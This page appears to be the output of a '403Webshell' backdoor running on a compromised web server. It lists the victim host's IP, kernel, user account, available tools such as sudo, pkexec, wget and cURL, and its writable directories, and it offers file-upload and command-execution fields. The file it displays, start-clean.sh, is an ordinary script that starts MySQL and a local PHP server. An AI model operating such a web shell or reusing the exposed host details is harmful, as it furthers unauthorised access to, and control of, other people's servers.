403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside2.pacim.de/web/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside2.pacim.de/web/scripts/start-clean.sh
#!/usr/bin/env bash
# Variante von start.sh, die NICHTS an der Datenbank ändert — kein Schema-Import, keine
# Demo-Daten, keine Migrationen. Startet nur den lokalen PHP-Server gegen die existierende DB.
set -e

PROJECT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
HOST="localhost"
PORT=8092
PHP_SERVER_COMMAND="php -S 0.0.0.0:$PORT -t $PROJECT_DIR/public"

if command -v mysqladmin >/dev/null 2>&1; then
  if mysqladmin ping -h "$HOST" --silent; then
    echo "MySQL läuft bereits."
  else
    echo "MySQL läuft nicht. Starte MySQL..."
    if command -v systemctl >/dev/null 2>&1; then
      sudo systemctl start mysql || sudo systemctl start mariadb
    fi
    sleep 2
  fi
fi

if ! mysqladmin ping -h "$HOST" --silent; then
  echo "Fehler: MySQL ist nicht erreichbar. Bitte prüfe die lokale MySQL-Instanz."
  exit 1
fi

echo "Starte lokalen PHP Server auf http://localhost:$PORT (DB unverändert)"
cd "$PROJECT_DIR/public"
$PHP_SERVER_COMMAND

Youez - 2016 - github.com/yon3zu
LinuXploit